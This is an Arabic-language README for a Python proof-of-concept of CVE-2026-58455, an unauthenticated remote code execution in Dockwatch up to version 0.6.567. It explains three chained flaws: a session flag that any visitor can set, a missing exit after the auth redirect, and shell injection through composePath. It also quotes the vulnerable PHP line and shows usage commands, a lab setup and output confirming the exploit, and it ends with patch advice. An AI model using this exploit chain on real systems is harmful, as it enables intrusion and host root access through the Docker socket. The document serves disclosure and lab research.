
PoC لـ CVE-2026-58455: Dockwatch <=0.6.567 تنفيذ تعليمات برمجية عن بُعد دون مصادقة. Python باستخدام المكتبة القياسية فقط.
إثبات فكرة لـ CVE-2026-58455: تنفيذ أكواد عن بُعد غير مصادق عليه في Dockwatch (من Notifiarr)، وهي واجهة ويب ذاتية الاستضافة لإدارة حاويات Docker. يؤثر على جميع الإصدارات حتى 0.6.567.
ثلاثة عيوب مرتبطة ببعضها:
GET /includes/header.php ينفّذ $_SESSION['IN_DOCKWATCH'] = true; لأي زائر. لا تتحقق طبقة AJAX (ajax/shared.php) إلا من هذه العلامة.exit() بعد إعادة توجيه المصادقة — يرسل loader.php ترويسة Location: login.php عندما يكون $_SESSION['authenticated'] خاطئًا لكنه لا ينهي التنفيذ، لذلك يستمر باقي الطلب في العمل.ajax/compose.php (m=composePull) ببناء أمر صدفة مع إدخال غير معقّم:
$cmd = 'cd ' . $_POST['composePath'] . ' && docker-compose pull';
$pull = $shell->exec($cmd . ' 2>&1');
عند دمجها: يمكن لمهاجم عن بُعد غير مصادق تنفيذ أوامر نظام تشغيل عشوائية بصلاحية مستخدم خادم الويب داخل الحاوية. عادةً ما تقوم النشرات النموذجية بتركيب /var/run/docker.sock داخل الحاوية → أي ما يعادل صلاحيات الجذر على المضيف.
python3 dockwatch_rce_poc.py --url http://HOST:PORT --command "id; hostname"
python3 dockwatch_rce_poc.py --url http://localhost:8888 # defaults
مكتبة Python 3 القياسية فقط.
docker run -d --name dockwatch-lab -p 8888:80 \
-v /var/run/docker.sock:/var/run/docker.sock \
ghcr.io/notifiarr/dockwatch:v0.6.567
$ python3 dockwatch_rce_poc.py --url http://localhost:8888 --command "id; hostname"
[+] Dockwatch fingerprint confirmed (200) <title>Dockwatch</title>
[+] Session primed (IN_DOCKWATCH flag set)
[*] ajax/compose.php responded HTTP 200, 100 bytes
[+] Command output recovered:
uid=911(abc) gid=911(abc) groups=911(abc),281(unraiddocker),992(groupls7j),1000(users)
=> PASS (RCE confirmed)
قم بتحديث Dockwatch إلى إصدار أحدث من 0.6.567. كإجراء تخفيفي، لا تُعرّض Dockwatch للشبكات غير الموثوقة وأزِل ربط مقبس Docker إذا لم يكن مطلوبًا.
للاستخدام المصرح به في أبحاث الأمان والمختبرات فقط.